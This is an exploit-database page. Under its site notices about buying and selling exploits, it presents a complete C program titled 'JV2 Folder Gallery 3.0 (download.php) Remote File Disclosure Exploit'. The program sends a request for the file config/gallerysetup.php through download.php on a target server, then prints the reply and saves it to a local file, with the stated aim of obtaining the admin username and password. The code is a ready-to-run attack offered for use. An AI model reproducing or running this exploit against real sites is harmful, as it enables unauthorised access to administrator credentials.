0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
JV2 Folder Gallery 3.0 (download.php) Remote File Disclosure Exploit
==================================================================== JV2 Folder Gallery 3.0 (download.php) Remote File Disclosure Exploit ==================================================================== /* Script Name :JV2 Folder Gallery Script site :www.jv2.net Discovered by :SaO Exploit Coded by :PeTrO Credits To soulreaver,Kuz3y Compile: Visual C++ or DevC++ */ #include <stdio.h> #include <string.h> #include <winsock.h> #pragma comment(lib,"ws2_32.lib") int main(int argc, char *argv[]) { char gelenveri[1000]; char sendCommand[1000]; int i=0,sayac=0; WSADATA wsdata; SOCKET s; struct hostent *hn; struct sockaddr_in karsi_addr; WSAStartup(MAKEWORD(2,0),&wsdata); if(argc!=3) { printf("\t**************************************************************\n" "\t* *\n" "\t* JV2 Folder Gallery *\n" "\t* Remote Admin uName and Pass. Exploit by PeTrO *\n" "\t* *\n" "\t* Usage:exploit targetSite [GalleryPath] *\n" "\t* Example:exploit localhost /gallery/ *\n" "\t* *\n" "\t* Discovered by :SaO *\n" "\t* Exploit Coded by :PeTrO *\n" "\t**************************************************************\n"); exit(1); }else{ hn=gethostbyname(argv[1]); } strcpy(sendCommand,"GET "); strcat(sendCommand,argv[2]); strcat(sendCommand,"download.php?file=config/gallerysetup.php \n\n"); printf("\n[+]Connecting...."); karsi_addr.sin_family = AF_INET; karsi_addr.sin_port = htons(80); karsi_addr.sin_addr =*((struct in_addr *)hn->h_addr); memset(&(karsi_addr.sin_zero),'\0', 8); if((s=socket(AF_INET, SOCK_STREAM, 0))==-1 ) //create a socket { printf("\n[-]Socket Error"); exit(-1); } if((connect(s,(struct sockaddr *)&karsi_addr,sizeof(struct sockaddr)))==-1)//connect server { printf("\n[-]Connecting Error"); exit(-1); } printf("\n[+]Sending command\n"); if((send(s,sendCommand,strlen(sendCommand),0))==-1) { printf("\n[-]Sending Error"); exit(-1); } if((recv(s,gelenveri,1000,0))==-1) { printf("\n[-]Receive Error"); exit(-1); } FILE *fp; fp=fopen("data.txt","w"); for(i=0;sayac!=2;i++) { if(gelenveri[i]==59) sayac++; printf("%c",gelenveri[i]); } fprintf(fp,"%s",gelenveri); WSACleanup(); return 0; } # 0day.today [2024-11-15] #